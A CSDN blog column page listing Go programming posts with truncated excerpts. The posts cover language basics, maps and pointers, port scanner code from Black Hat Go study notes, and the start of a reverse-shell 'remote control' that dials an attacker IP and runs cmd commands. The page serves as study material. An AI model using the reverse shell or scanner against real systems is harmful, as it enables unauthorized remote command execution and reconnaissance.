go
文章平均质量分 75
诡墨佯
这个作者很懒,什么都没留下…
展开
-
go语言代码练习
go原创 2022-10-16 23:40:18 · 602 阅读 · 0 评论 -
go语言map、
go原创 2022-10-16 14:16:10 · 675 阅读 · 0 评论 -
go语言指针、数组、切片
go原创 2022-10-16 00:15:52 · 529 阅读 · 0 评论 -
连接nc的远控
不免杀版本原理:创建tcp连接,读取并执行cmd命令,并且将执行的结果通过目标的IP和端口号返回给我们的远控机(例如kali)。package mainimport ( "io" "log" "net" "os/exec")func main() { conn, err := net.Dial("tcp", "192.168.0.138:1929") if err != nil { log.Fatalln(err) } for { cmd := exec.Co原创 2022-05-27 12:13:45 · 707 阅读 · 0 评论 -
go基础知识(乱序)
一、常用的Go工具命令1 、go run命令编译并执行main包(即程序的入口点),未生成独立的二进制文件。2、go build命令编译应用程序,包括所有的包及其依赖项,而无须进行安装。该命令创建一个二进制文件,但不会执行这个文件。使用-o output命令行选项考研更改已创建的二进制文件的名称。在终端窗口,输入go build hello.go,生成hello的可执行文件,输入./hello执行该文件。默认情况下,生成的二进制文件包含调试信息和字符表,这会让文件变大,为减小其占用空原创 2022-05-01 22:53:51 · 179 阅读 · 0 评论 -
go语言黑帽子学习3
代码清单2-9 reader和writer演示package mainimport ( "fmt" "log" "os")type FooReader struct{}func (fooReader *FooReader) Read(b []byte) (int, error) { fmt.Print("in >") return os.Stdin.Read(b)}type FooWriter struct{...原创 2022-05-01 08:43:58 · 215 阅读 · 0 评论 -
Go语言黑帽子学习2
代码清单2-3完整的端口扫描器package mainimport ("fmt""net")func main() {for i := 1; i <= 1024; i++ {address := fmt.Sprintf("172.23.190.244:%d", i)conn, err := net.Dial("tcp", address)if err != nil {continue}conn.Close()fmt.Printf("%d原创 2022-04-28 09:05:00 · 1177 阅读 · 0 评论 -
Go语言黑帽子学习1
代码清单2-4 端口扫描器执行速度太快package mainimport ("fmt""net")func main() {for i := 0; i <= 1024; i++ {go func(j int) {address := fmt.Sprintf("172.23.190.244:%d", j)conn, err := net.Dial("tcp", address)if err != nil {return}conn.Cl..原创 2022-04-27 14:26:22 · 810 阅读 · 0 评论